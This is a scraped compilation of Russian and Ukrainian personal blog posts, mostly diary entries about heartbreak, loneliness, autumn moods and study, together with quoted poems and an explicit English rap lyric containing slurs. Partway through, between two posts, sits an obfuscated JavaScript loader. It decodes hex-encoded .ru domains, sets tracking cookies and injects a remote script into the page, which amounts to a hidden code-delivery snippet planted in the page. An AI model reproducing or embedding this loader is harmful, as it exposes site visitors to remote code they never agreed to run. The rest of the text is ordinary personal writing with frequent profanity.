кто-то второй раз за 2 дня пьет цетрин из-за аллергии непонятно на что. и, похоже, кто-то завтра просто не выползет на учебу.
обьяснюсь: таблетки имеют сильное снотворное действие. если нормой для меня являются около 5 часов сна, то с цетрином я могу спать все 15.
пока что единственное, что тревожит, это так называемая карьера в сфере, о которой я пока стесняюсь даже говорить. огромнейшее чувство того, что я лезу туда, где я никогда не добьюсь успеха и чем я никогда в своей жизни не занималась.
так или иначе, самостоятельно программирование я дома не выучу. на это надо очень много времени, усилий и просто-таки великолепнейшая логика.
я уже и сама не знаю, чего хочу и где собираюсь учиться. в последнее время кажется, что на программиста я тоже не гожусь. куда тогда еще?.. быть захудалым постоянно уставшим чувствующим отвращение к жизни копирайтером? это уже когда-то проходили.

Раньше мой друг всегда беспокоился, если я в течение дня не отвечал каким-нибудь дежурным "лол) " или "ахахах" на очередной прикольчик, который он скинул. Его девушка спрашивала, почему я так долго их не навещаю, если в один из выходных на неделе мы не встретились. Сейчас я вообще ничего не писал и не подавал признаков социальной жизни дольше недели, а он как-то и не обращает внимания.
Не знаю, что этот сын Ямайки себе там думает, я скоро лопну от той информации, которой я хочу, то есть нет, не хочу, но ХОТЕЛ БЫ с ним поделиться, но я просто еще и хочу посмотреть, когда он заметит, что я, мать его, в обидках: /
Моему негодованию нет конца. Ясен пень я веду себя не очень по-взрослому, но, знаете, я никогда себя по-взрослому не веду, так что все нормально. К тому же, с каждым днем, когда мы не общаемся, сумма денег, которые я готов потратить на его подарок к скорому дню рождения, все уменьшается, так что будет замечать офицера, скотина: |

Две недели как мы семья! И знаете, это потрясающее чувство. Наша свадьба прошла идеально. Я безумно счастлива рядом с ним. Завтра мы переезжаем в нашу квартиру. И я так боюсь сглазить… Но эмоции переполняют. Не могу не написать хоть пару строк. И наверняка многие видели пока немногочисленные фото со свадьбы в инстаграме. И меня можно найти: roux_katty

Если бы я могла всё изменить, я бы ничего менять не стала. Всё же, девушки крайне глупые существа - пытаются выискать пещинку любви, там где её совершенно нет. Пытаются верить, что растопят лёд своей любовью..

Конечно, я понимаю, что кому-то это удаётся. Могу ли я сказать, что сделала всё, чо могла? Столько лет я молила о твоей любви - и вот, я почти выпустила её из своих рук. Держу из последних сил самый краешек.. Почему..

Почему?

Ну почему?..

Как много вопросов "почему?".

Не знаю, — любили ли мы друг друга, но сколько раз мы с тобой от души хохотали, а этого разве мало?

(с) Мишель Турнье "Лесной царь".

Я чувствую себя такой беспомощной, такой жалкой.

Ты мне не пишешь.

Статус всё ещё стоит.

А я пытаюсь забить своё время залом, учёбой, работой и прочим, лишь бы меньше появляться в сети, лишь бы реже проверять, кгда ты заходил.

Знаешь, как я волнуюсь, когда ты не заходишь в привычное для меня время?..

Я жду тебя.

Песня второго дня: время и стекло имя любимое мое твое именно имя любимое мое…. Наташка охуенная. Похуй на всех тупых зависливых друдек. Невеста рулит.

Каждый заслуживает в своей жизни счастья. Верно? По крайней мере, я так думаю. Но почему то в моей жизни моменты счастья длятся очень непродолжительно. Продолжительно только уныние и депрессия, а с наступлением осени это все только усиливается. Осень - это дожди. Осень - это маленькая смерть. Осень - это депрессивные песни в плей-листе. Сегодня, кстати, создала отдельный, чтобы слушать целыми днями и грустить. И все же… Как же это странно, что один момент может изменить все последующие, которые могли бы быть счастливыми. Теперь только и будут мысли об этом моменте. А ведь все могло быть иначе. Счастье бы продолжалось. Депрессия бы подождала еще немного. Но счастье не вечно. Счастье - это отдельные моменты, в которых ты чувствуешь это. Не более. Сейчас для меня счастье - это просто слово, которое никак не относится к моей жизни. До встречи, Счастье. Надеюсь, скоро увижу тебя вновь.

Двенадцать ночи. Пишу семнадцатое сообщение в whatsapp'е человеку, с которым не общаюсь уже полгода, половина из этих сообщений - смайлики с изображением барашков, не знаю почему; слушаю the white stripes – effect and cause примерно двадцать восьмой раз за день, послушайте кто-нибудь ее и мой день не пройдет зря, она такая прекрасная; минут десять планирую съесть помидор, потому что перед этим я планировала пойти купить крекеры, но вот супермаркеты закрылись, а у меня есть только помидор; рисую в фотошопе суставы, не знаю почему, просто рисую; лежу в джинсах и ботинках, потому что мои намерения по поводу крекеров были весьма серьезны; ругаюсь с и без того злым хипстером; мысленно подпеваю; мысленно жую крекеры; мысленно делаю себе и не только новую тему, совсем не мысленно запасаюсь материалами для этого; мысленно прогуливаю завтра первую пару, затем еще одну, и еще одну, и последнюю тоже; радуюсь приятным мыслям. А чем вы занимаетесь дождливыми осенними воскресными ночами?

В ярость друг меня привел -
Гнев излил я, гнев прошел.
Враг обиду мне нанес -
Я молчал, но гнев мой рос.

Я таил его в тиши
В глубине своей души,
То слезами поливал,
То улыбкой согревал.

Рос он ночью, рос он днем.
Зрело яблочко на нем,
Яда сладкого полно.
Знал мой недруг, чье оно.

Темной ночью в тишине
Он прокрался в сад ко мне
И остался недвижим,
Ядом скованный моим.

▬ У. Блэйк

Все московские знают, как веселится у нас сейчас погода. Так вот, я рада этой херне. Этому нескончаемому ливню и озёрам на дорогах, ибо они как нельзя точно отражают моё душевное состояние. Мне. Очень. Грустно. И причина далеко не одна. И все мне известы. И ничего я с этим поделать не могу.
У меня очень давно не было такого состояния. И блять.. я по нему не скучала.
Привет, я опять одна.

6.9.15

В задворках прошлого нашла свои старые мысли про алкоголь и курение.Нет, я не начала курить и бухать по страшному.В моей жизни появилось красное полусладкое и темное пиво. Иногда, в редкие моменты эйфории, вместе с хорошим фильмом и фруктами. Так редко, что вкус уже почти забывается…

— Я уже еду, ты слышешь меня?

— Да, я слышу.

— Хорошо, собрала вещи?

— Все готово. Катер уходит в 3.

— Мне ехать еще километров 70 времени полно.

— Все - равно, давай побыстрее.

— Хорошо. Я…

Скоро увидемся.

Да… да.

— В моей машине жучок

— Скинь его! Выброси! Или прицепи на встречный грузовик! Ну же, Рей, твою мать!

— Я не могу… Может они уже давно следят за мной. А если так, то не важно, что я сделаю с жучком, только к тебе их приведу. Ты понимаешь?

— Ты… что ты…

— Садись на катер, забирай бумаги и все записи и садись на катер!Я скину машину на парковке, угоню другую. Поеду следом за тобой.

— Тогда я буду ждать.

— Придерживайся плана! Пожалуйста. Прошу тебя, садись на катер. Доверься мне. Я от этих мудаков и на велике уеду.

— Хорошо.

Вот есть парни, которые появляються в моменты полного отчаяния. Я понятия не имею как они это делают, как чувствуют ? Но именно с этими парнями поддерживается связь уже долгие годы, несмотря на ссоры или затяжные паузы в общении.

В тот момент мне было очень спокойно и радостно.
Я хочу, чтобы это состояние было здесь.

Моя Кузя.

День Москвы. 5.09.2015

А еще все, когда только со мной знакомятся, думают, что я добрая и пушистая, а потом узнают меня настоящую, моментами курящую, моментами гулящую (но на самом деле у меня не было много парней, я не изменю своему парню, просто если я свободна и я пьяна бывает люблю целоваться с людьми, которых знаю 1 день, такова я, ничего не изменишь), да и не знаю, чем еще отталкиваю людей, привязываюсь к ним (а я очень быстро это делаю) и потом мне тяжело все это переносить…

Еще месяц назад я была совершенна одна, никого, а тут высыпала целая куча, Андрей (которого все таки пришлось обидеть и сказать, что с ним встречаться я немогу, ну не мой это челок), потом Р. решил почти год спустя объявиться со своими дурными словами, про какую-то любовь.. (кроме дружбы ему больше ничего не светит, на теже грабли я наступать не хочу и которому я расскажу про А. и он уж точно сразу перехочет со мной дружить) и А. который мне очень нравится…которого я знаю меньше недели, но блиин..короче мне с ним хорошо так… вооот, все сразу свалились как всегда, закон подлости, главное что я разобралась в том, что я хочу..круто)

Как хорошо быть чьей-то навсегда
И знать, что это не слова пустые.
Как хлеб, делить и душу и года,
Глядеть в глаза безмерно дорогие.

Как хорошо быть чьим - то навсегда
И знать, что не оставит, не обманет,
И вытащит из под любого льда,
И никогда любить не перестанет.

Родное тело обнимать в ночи
И знать, что будет так уже навеки,
Сливаться вместе, как весной ручьи,
Тонуть в родном дыхании и смехе.

И освежать, как летняя гроза,
И чувствовать, как греешься и греешь,
И знать, что в этих дорогих глазах
Ты никогда уже не постареешь.

є такі неймовірні люди, які міняють тебе. руйнують твій маленькій світ і будують величезний безмежнний всесвіт. це твої люди. вони лишають на тобі свої відбитки, свої дотики, навіть частку свого подиху та погляду. ти часто відчуваєш їх в собі. хоча вони можуть і бути поза межами твоєї витягнутої руки. це твої кохання. байдуже на вік стать статус. вони лишили свій слід. він не зникне, не видихається, бо це як хвороба як підселення паразита як пересадка органу. воно в тобі назавжди. дякую, що ти в мені лишила це НАЗАВЖДИ.

На календарике 6 сентября, а я тем временем наконец то созрела написать сюда и рассказать о том, как начался мой сентябрь, всем же безумно интересно, я чувствую! И как это вы раньше жили без этой информации))) ну да ладно. Начался он достаточно обычно, без праздничных линеек, училищ и даже без университетов, чему я безгранично рада. Помню, что по версии взрослых, существовала легенда- как только я начну работать, захочу вернуться на учебу. Я работаю уже четвертый год и каждое первое сентября с содроганием и жалостью смотрю на тех, кому нужно на их учебы. Безусловно, работа заебывает и есть свои минусы, но хотя бы домашку не задают)) последние два дня, меня затянуло рисование! А точнее, купила себе рисование по номерам и рисую любимый Питер) когда закончу, кину результат. Кстати, такое вот рисование ну ооочень крутецкая вещь. Как раз для таких как я- которые мечтали бы создавать что то красивое, но если начнут рисовать сами, на их рисунках тяжело будет отличить задницу от лица. Такие дела! За окном дождик, температура наконец то падает. Осень, вэлкам, я ждала)

Мне с ним хорошо. Комфортно. Я давно не испытывала таких эмоций. Но с ним.. Я испытала и страх, и переживания, и адреналин, и волнение.. И это всего за три дня. Нет. Я не влюбилась.

Как я уже и писала, очень хочется читать, рисовать. Но нет абсолютно никакого настроения. Абсолютно.

Лежала сегодня на кровати и слушала музыку. Настолько было плохо.. До сих пор чувствую себя не о чем.

В душе чуть не упала, очень сильно закружилась голова, стало плохо, нахлынуло все, но такое чувство, что самые любимые и счастливые моменты моей жизни были сном. И я снова хочу его видеть.

Завтра должно быть все хорошо. Удачи тем, кто сдает экзамены. Сладких снов

Роберт Рождественский

Как детство, ночь обнажена.
Земля становится просторнее…
Моя щека обожжена
пронзительным:
" Скажи мне что-нибудь!"..

" Скажи мне что-нибудь!
Скажи!
Скорей!
Пусть будут звезды - до неба.
Заполони.
Опустоши.
И все-таки
Скажи мне что-нибудь!..
Плати за то, что целовал,
Словами вечными, как прошлое…
Зачем
Учился ты словам?
Скажи мне
Что-нибудь хорошее…
За то, что ты не опроверг
Все мужество мое
Нарочное,
За бабий век,
Недлинный век -
Скажи мне что-нибудь хорошее… "

Святая
И неосторожная,
Чего ты просишь?
Правды?
Лжи?
Но шепчет женщина:
" Скажи!
Скажи мне
Что-нибудь хорошее… "

1978

Ну пару слов о прошедших сутках…. Для начала, ночь была просто ужасна, плохо спал, было жарко, нифига не выспался и, следовательно, встал не с той ноги. Настроение бросалось из крайности в крайности, мне сказали сегодня "я счастлива, не хочу чтобы это заканчивалось", это повергло меня в тотальное отчаяние. Не знаю, я реально не знаю как себя вести и что делать. Позже я вспомнил, ради чего вообще я это делаю и жду. Как бы временами я не хотел опустить руки и сказать " я тебя отпускаю" я не могу, как-будто что-то держит, что-то не дает решиться окончательно и возвращает в прежнее русло. В общем к вечеру настроение поднялось, заряд наивного опьтмизма и веры в свое дело и т.д. Сейчас же, все сошло на нет, и я не испытываю ничего ровным счетом. Опять начало недели, опять жить с этим осознанием и лишь догадываться, что там происходит с ними наедине. Я даже представить боюсь до чего может дойти в один прекрасный день, да и не хочу знать об этом. Ну а так, моя смена подходит к концу и через пол часа я смогу провалиться в сон и лишь надеяться что-то там увидеть, как раньше

Как же во время этих чертовых месячных у меня обостряются чувства. От одного взгляда на тебя хочется прижаться к тебе, что есть силы. Я скучаю, безумно скучаю по нам

Пост посвящается А., если ты все-таки каким-то необыкновенным образом нашел мой блог, прошу не судить меня за мои мысли и если что-то очень тебя расстроило, сказать мне об этом прямо! Так как ты мне очень нравишься, и я не хотела бы прекращать наше с тобой, не знаю кем мы друг другу являемся… Но все же я очень надеюсь, что тебе этого не удалось сделать, потому что о моем блоге не знает никто, никто его не читает и я могу писать сюда все, что захочу…это мое..а так мне придется некоторые вещи фильтровать…

Эх, ну вот зачем я проболталась, во всем виноват мой язык, "люблю" его…

Это был потрясающий "Голосящий КиВиН". Вот правда. "Союз" доказал, что он заслуженно взял чемпионство в 2014. Для меня только непонятно почему дали кивина "Азииmix", у нас пошлые шуточки разве не вышли из моды? Ну хоть и смешно, но как-то не надо это поощрять. "Парапапарам" в очередной раз показали крутой номер "новости CNN", ух, прям гордость за Россию. Вообще, все команды молодцы. Ведь очень тяжело писать шутки, на своей шкуре побывала, это очень-очень тяжело. В игре было круто-круто. Настроение поднялось, смеялась от души. Что-то эта неделя была прям посвящена КВН. Посмотрела Премьерку, т.к. уезжала и пропустила игры. Обожаю КВН за то, что это отечественный продукт.

А еще мой мужчина пропал. Не пишет со вчерашнего вечера. Не отвечает, хотя в сети был. Проклятье Беловой в действии

В другой жизни я бы была твоей девушкой, в другой жизни я бы заставила тебя остаться. Можешь больше не рассказывать мне как они тебя целуют и как я тебя люблю. Самое обидное то что когда тебе было плохо я вытащила тебя из того дерьма, но кто сейчас вытащит меня?? То все было пиздежью про особенность нашего общения, я сейчас понимаю что оно для тебя нисколечко не важно. Ты нашел замену мне в моей лучшей подруге, охуенно ебать.

Уехать бы сейчас далеко-далеко, туда, где красиво и спокойно. Туда, где тепло и не нужно кутаться в плед, где можно гулять каждый день и рассматривать пейзажи, не думая ни о чем.

Так хочется новых впечатлений и эмоций

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="8066", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Учебный год, работа, только начало, но меня уже все выматывает, особенно дорога. Последние дни только и хочу, что секса и кальяна. Вот, что нужно мне - дым и удовольствие. Эх.

Завеса сброшена: ни новых увлечений, Ни тайн заманчивых, ни счастья впереди; Покой оправданных и сбывшихся сомнений, Мгла безнадежности в измученной груди… Как мало прожито - как много пережито! Надежды светлые, и юность, и любовь… И все оплакано… осмеяно… забыто, Погребено - и не воскреснет вновь! Я в братство веровал, но в черный день невзгоды Не мог я отличить собратьев от врагов; Я жаждал для людей познанья и свободы, - А мир - всё тот же мир бессмысленных рабов; На грозный бой со злом мечтал я встать сурово Огнем и правдою карающих речей, - И в храме истины - в священном храме слова, Я слышу оргию крикливых торгашей!.. Любовь на миг… любовь - забава от безделья, Любовь - не жар души, а только жар в крови, Любовь - больной кошмар, тяжелый чад похмелья - Нет, мне не жаль ее, промчавшейся любви!.. Я не о ней мечтал бессонными ночами, И не она тогда явилась предо мной, Вся - мысль, вся - красота, увитая цветами, С улыбкой девственной и девственной душой!.. Бедна, как нищая, и как рабыня лжива, В лохмотья яркие пестро наряжена - Жизнь только издали нарядна и красива, И только издали влечет к себе она. Но чуть вглядишься ты, чуть встанет пред тобою Она лицом к лицу - и ты поймешь обман Ее величия, под ветхой мишурою, И красоты ее - под маскою румян.
1882

Давно не писала ничего милого

Просто хочется сказать что-нибудь на память

Что уже осень, что мы уже окунулись в говно универа

И что погода стоит замечательная - холодно, пасмурно, дождливо, туманно

Что в такую погоду хочется только быть вдвоем, пос то ян но. Хочется тебя все время обнимать, греть нос у тебя на шее, быть милой, целовать каждые три секунды и говорить как я люблю тебя чаще, чем все время

И так, для заметки - через неделю нам пол года, fucking t h r i l l i n g

Она надевает чулки и наступает осень,
Сплошной капроновый дождь вокруг и чем больше асфальт вне себя от оспин, тем юбка длиннее и острее каблук.
И только двум колоннам белеть в исподнем не ловко,
И голый портик зарос, с любой точки зрения меньше одним господним летом, особенно в нем с тобой.
Теперь если слышится шорох-то звук ухода войск, безразлично откуда, знамен трело.
И лучше окликнуть по имени время года если нельзя удержать тепло.
Суставы, что ждут бемоля от клавиш себя отличить не в силах треща в хряще,
И с шумом врывается в форточку воздух с моря оттуда, где нет ничего вообще.

Большая любовь, очевидно, заключается в доверии, в радости друг от друга, в уважении личной жизни друг друга и в уважении профессионального выбора.

Джонни Депп

Общаюсь я с этим парнем и так хочется быть сильной. Мол, я и без тебя обойдусь. Помню время, когда наоборот хотелось быть чертовски слабой. Походу, уже привыкла.

Мне вот только одно интересно, почему мы всегда влюбляемся не в тех? Почему из всех нужно выбрать самого мудака и пытаться изменить его? Ревновать его к каждой мимо проходящей шлюхе, не спать ночами, пока он отдыхает с друзьями или сутками ждать звонка.

Больше никогда тебе не напишу. Больше никогда. Больше никогда, никогд…

Херня это все, есть ведь проблемы и посерьезнее, чем постоянно ждать, бить сердце зазря, разгадывать кроссворды фраз обычных, искать подвох, анализировать… В 15 раз я торжественно клянусь покончить со всем этим, но что делать, если я в какой-то, блять, клетке? Ломаю коленки и легкие от каждого похожего прохожего, игнорирую острые углы, делаю вид, что такое новое положение дел меня будто бы и устраивает. Мы никогда не были друзьями, никогда. Ни-ког-да. И я надеюсь, ты это знаешь. Хотя о чем это я, ты же знаешь все лучше всех, ты такой маленький гений, запертый в фурию, только никому это нахер не нужно, все эти игры, только мы в них и играем, это же блять очевидно, очнись, никому, абсолютно никому, им неинтересно даже, поймешь когда-нибудь? Все это затяжное, bullshit, я уже не понимаю, чего хочу больше: въебать тебе или выебать, или и то, и другое, по настроению.

В универе спокойней, как смешно.

Алекс и Пайпер в библиотеке, как смешно.

Я не понимаю твою позицию, как смешно, обхохочешься просто.

We are not the same I am too reckless
I'm not tryna go in that direction
These niggas they been doing too much flexing
And they’re about to call the wrong attention
And I ain't got no patience, no more testing
I do shit how I want, don't need no blessing
XO niggas ain't nothing to mess with
Nobody stopping us, oh no we're destined
And everybody around you is so basic
I'm never rocking white, I'm like a racist
I don't drink my liquor with a chasin'
And money is the only thing I'm chasin'
And some dope dimes on some coke lines
Give me head all night, cum four times
Baby girl just wanna smoke a pound
Do an ounce, get some dick
Tell her friends about it

Go tell your friends about it [х2]

Я, безусловно, могу многое понять, особенно когда на душе царит безмятежность и гармония. Но я искренне верю, что, когда человек обещает перезвонить, он должен незамедлительно исполнить свое обещание

—Окамка, посмотри фильм называется "Камо Грядеши" ДА ТЫ ВАЩЕ НИЧЕ НЕ СМОТТРИШъ ИЗ ТОГО ЧТО Я ТЕ ГОВОРЮ ОДНИ АНИТМЕШГКИ СВОИ СРАНЫ…

—ГУСЯТНИЦАААААА!!!!1

—ЧЕ ЭТО ЗА ГОВНО ВСЁ БЛЕН ВАЩЕ)) 000

И сейчас я сижу, больная с кашлем и соплями по колено, на успокоительных и понимаю, что моему мужчине все равно. Ну знаете, мне больно, ему похуй. Сегодня за весь день только ответ на моё доброе утро. Может к ночи вспомнит, что у него есть девушка, а может и нет. Хоть плакать не буду сегодня, потому что таблетки помогают.

—Когда мы с Аней начинаем слишком сильно смеяться, мы отходим друг от друга, чтобы живот не болел XD… А ты меня сейчас рассмешил АХХАХАХА! УХОДИ!! ДАЙ МНЕ УЙТИИИИ АХАХАХА АНЯ ЗАЧЕМ ТЫ СЮДА ПРИШЛА!! ДАВАЙТЕ ВСЕ ОТОЙДЕМ ДРУГ ОТ ДРУГААА


Если он позовёт, то я просто пойду за ним,
я не буду расспрашивать "что-почему-куда".
Если станет темно, я не буду искать огни.
Если он позовёт - он и будет моя звезда.

Если он загрустит, я не буду ему мешать,
приложу его голову к тёплой своей груди -
пусть почувствует он, как грустит с ним моя душа…
а когда на двоих - то не так тяжело идти.

Если он упадёт, я не буду вперёд тащить,
просто рядом присяду и дам ему отдохнуть.
Я его не укрою, как самый надёжный щит,
но подам ему меч - тот, который нельзя согнуть.

Если он позовёт, то я просто пойду за ним
без раздумий, сомнений, упрёков и всяких "но".
Между нами невидимо вьётся тугая нить…
Если я позову - он вот так же пойдёт за мной.

Татьяна Мехнина-Ван Инг

просто молча делаю выводы. сразу видно, кому ты небезразлична, а кто хуй на тебя клал и появляется в твоей жизни только потому что ему так надо, а потом тишина, будто и не было человека.

Здесь и сейчас я начинаю вести блог, где я буду записывать свои мысли и чувства, свои наблюдения и желания, здесь будет все то, что приходит в голову в разное время дня и ночи, все то, что вдохновляет меня

Добро пожаловать в мой маленький мир.

Приятного чтения.

Обычно я очень веселая, шутливая и все время улыбчивая на виду у всех.
Так что тут можно спокойно писать все, что только душе угодно. Можно, наконец, чувствовать себя размазней, растирая сопли по лицу.
Я постоянно думаю только об одном. Ты говоришь, что мыслями мы похожи, значит, тоже думаешь обо мне? Это невыносимо. Каждый раз отходить, как только ты приближаешься, каждый раз отводить взгляд и переводить темы, каждый раз отшучиваться. Как же мне надоело, чёрт возьми. Но так будет лучше.
Мы уже, кажется, дико давно не виделись. Уже, вроде как, месяц. И мне не хватает всяких твоих мелочей. То, как ты тепло на меня смотришь, то, как свет детским восторгом отражается у тебя в глазах, как смешно ты шевелишь губами, когда мы смотрим какую-то передачу, которую уже много раз смотрели вместе. Тоскливо.
Надо просто выбросить из головы.
" Ты чудо, но этого мало".

Пару часов назад ныла о том, что все пиздец, рутина и ну все в жопу, а теперь сижу в машине по дороге на море… О да, это по мне, это я люблю)))

Все змінилось. Літо пройшло і стало точкою відліку. Змінилися люди в моєму житті, змінились погляди, стиль, думки, мова, поведінка, друзі, потреби. Було декілька близьких людей до літа, воно закінчилося і все, ми не разом. Завжди кажуть "ось буде тобі 20/21 - розумієш". Так воно стається. Раніш не вірила, тепер сама так кажу. Що змінює цифра? Чому на стільки фатально перевертається життя? Не на всі запитання є відповідь. На ці теж немає. Дякую тим, хто прийшов у моє життя, зі змінами, доповнив, забрав, заставив переоцінити, зрозуміти і мислити по-новому.

Люблю необъяснимые ситуации. Ливень из неоткуда. Выключение электричества на учебе. Выключение света во всем районе ночью. Все в ахуе. А меня это забавляет.

Мне становится так тошно и так плохо. Я знаю, что нужно уйти с работы, но не могу. Эти ребята, смех, эмоции - как можно уйти от всего этого. . ? Что у меня останется, если их не станет ? Они заполняют мое время и отнимают мою любовь уже 7 месяцев. Что будет взамен ? Я просто боюсь остаться вовсе одна снова.

Остается только обновлять вк или каждую минуту подбегать к телефону: "А вдруг написал? А вдруг позвонил?" Хотя режим на телефоне со звуком. Напоминаю себе идиотину, глупую девочку, такую маленькую и беззащитную.

Минусы. Я не готова к жизни с моряком, ждать по пол года, быть по пол года одной, справляться со всем. Я бы переехала в его город, но он маленький и безперспективный, я бы не хотела там жить на самом деле. Он постоянно меня критиковал, сложно жить так все время. Он бывал груб и совершенно не романтичен. Он не поздравил меня с днем рождения. Он полный идиот, когда спит и его будят, двинутый на всю голову. Он иногда перебирал с алкоголем (да, возможно это молодость, но практика моей семьи показывает обратное), я бы не хотела проблем с этим в своей семье. У него есть недостатки. Много недостатков. Много того, с чем бы я не ужилась на самом деле. Нам правда не по пути. НЕ ПО ПУТИ…

Я до сих пор не могу успокоиться, после вчерашнего вечера. Закрываю глаза и мысленно переношусь туда. Мне хочется снова побыть там наедине с этим человеком. Мне хочется снова оказаться на берегу и смотреть на другой берег, слушать звук волн и чувствовать его руки у себя на спине. Еще мгновение, и мы несемся по городу. В машине слышен лишь наш шепот. Он держит меня за руку, а я улыбаюсь. Спустя час я лежу на его коленях, хрупкая, беззащитная, обнаженная. Он поправляет мою майку, А потом гладит мои волосы. Я не могу прийти в себя. Он снова шепчет. "Ты так прекрасна" Мне нечего ответить. Голова пустая. Мне не хочется уходить, а ему уезжать. Все далеко зашло, но боюсь нам не остановиться.

Лучший способ забыться для меня - окунуться в чужие проблемы. Особенно тогда, когда я была морально просто разбита, я спасалась тем, что помогала кому-то справиться с их душевными переживаниями: говорила, успокаивала, советовала. Таким образом отвлекалась от своих терзаний. Ну а сейчас.. Когда твою подругу после десяти лет совместной жизни бросает муж, все твои проблемы становятся такими ничтожными. И да, после такого отношений не хочется вообще, никаких.

Пришел к Димасу в 4 часа, вернулся недавно. Обдолбались улуном и пуэром. На 17 чайнике я сдался. Я видел время. Чайные пьяницы, хе-хе. Всем чаю!

*покупает новый лифчик*
Я: я начинаю новую жизнь! Я больше не та, кем была раньше. Я красивый, свежий, сияющий луч света. Я неприкосновенная. Это новое начало.

… допустим, тебе не снится ночью, как я целуюсь,
пожалуй и правда тебе дороже теперь другие,
и даже от нежности моря не сводит напропалую
дыхание, и от цвета неба не включается ностальгия,

и не щиплет в носу, когда кто-то невзначай бросит,
что-то из того, что тогда было нашим словесным кодом,
и нет ощущения, что ты катаешь по цифре восемь,
под крики "мотор!": любой год дублирует предыдущие годы.

ты так же спал до полудня, лопал всякое что придется,
тешил себя самолетным чтивом, рисовал стрелочки на экране,
думал, что лучшая из женщин однажды сама тебе попадется,
может в баре, а может в чате… заранее

не могу сказать, что ты проиграешь. допустим, что выиграешь даже,
и самая лучшая из женщин окажется посговорчивей, чем иные…
но пока я слушаю твой голос в шуме волн на случайном пляже,
и думаю, что и ты тоже слышишь мои короткие позывные.

…даже если ты уже твердо решил, что на них не стоило откликаться,
и в твоей реальности на меня ушло итак избыточно памяти оперативной,
я тычусь носом в твое плечо в твердом намерении достучаться
длинный короткий короткий длинный
помоги мне
отпусти меня
отпусти мне.

.. И я тоже хочу быть для тебя личным делом. Не пиаром, не победой пирровой при помпеях, я хочу чтобы и ты меня так хотела, жеманничая и глупея.

Чтобы поддерживать тебя, если ты собьешься, чтобы оказываться рядом тогда, когда надо… А я схожу с ума, когда ты смеешься, и твоя жизнь уже давно поделена на два.

В ней для меня ни слова нету, ни места, ты говоришь: "все что я хочу, это дойти до цели", и я вкладываю все свободные средства в твой концерт для флейты и укулеле.

А хотела бы видеть тебя утром сонной, и рисовать цветы тебе на запястье, в моей голове безумной, бездонной слово "ты" рифмуется к слову "счастье".

Я бы хотела с тобой в путешествие по Европе и болтать о книгах за вином чилийским… А в итоге… впрочем пока мы далеки от итогов, а в тебе есть что-то неуловимо близкое.

Я смотрю на тебя, как на отражение в глухом колодце, и саднит горло от желания целоваться…. Ты трогаешь мои цветы осторожно, чтобы не уколоться. А я от твоих и исколотая не смогу оторваться.

говоришь, это ревность? впускаю в себя как ток
допущение этой возможности. я безумец.
ревновать тебя? это вообще означает что?
посчитать сколько раз ты с другими потрогала скаты улиц,
сколько раз ты другим расточала улыбки влет,
сколько раз ты дарила их этим игривым смехом,
сколько раз этот город был горько в тебя влюблен,
так, что чуть не сорвался и не уехал -
ревновать тебя? ревно-что?
будто ревень горчащий жевать по утру,
будто воду носить - наливать в решето,
будто жить, позабыв, что я тоже когда-то умру,
говоришь, это ревность? белесый холодный туман
темный морок подсчетов всего, что досталось другим,
бесконечные игры голодного злого ума,
бесконечная нежность к упругим запястьям твоим,
и искусанных губ кровоток
и зубов острота
и твое имя - только твое -
на изнанке у рта,
и упрямство желания - бьющего в сердце нон-стоп -
так глотать тебя жадно, как воду глотает исток,
так с тобой совпадать, будто с руслом река…
говоришь, это ревность? наверное. наверняка.

каждую букву имени твоего рассасываю будто гомеопатию,
понятия не имею, от чего она должна меня исцелить…
мне твоя нежность нужна как воздух, а ты потрать ее
на то, чтобы выяснить, где болит.
каждый предлог из редких реплик твоих выкусываю,
ищу словечки, чтобы пощекотать гортань,
чую себя новобранцем, юнцом бессмысленным и безусым,
тестостероново пенящимся.
перестань
приходить ко мне по ночам в бесконечном бессонном мареве,
мне уже не выстоять, я давно проиграл себя в карты твоей красе,
я давно разучился видеть тебя за своими кошмарами,
а потом растерял их все.
только и осталось, что снить тебя днями длинными,
коверкать имя, точнее искать слова,
переходами метро, стеклянными пустыми витринами
выдумывать тебя себе или рисовать
на чеках, салфетках, трамвайных билетиках сложенных,
на дымном стекле, запотевшем, на облаках
рисовать тебя - со всеми подробностями невозможными,
со всей твоей мимикой, с колечками на руках,
резкоглазую, резкоязыкую, злую, точную,
бесконечно искрящуюся, обнимающую собой -
многозначную, удивительную, непрочную,
нападающую словно прибой…
рисовать тебя буквами словами черточками жестами,
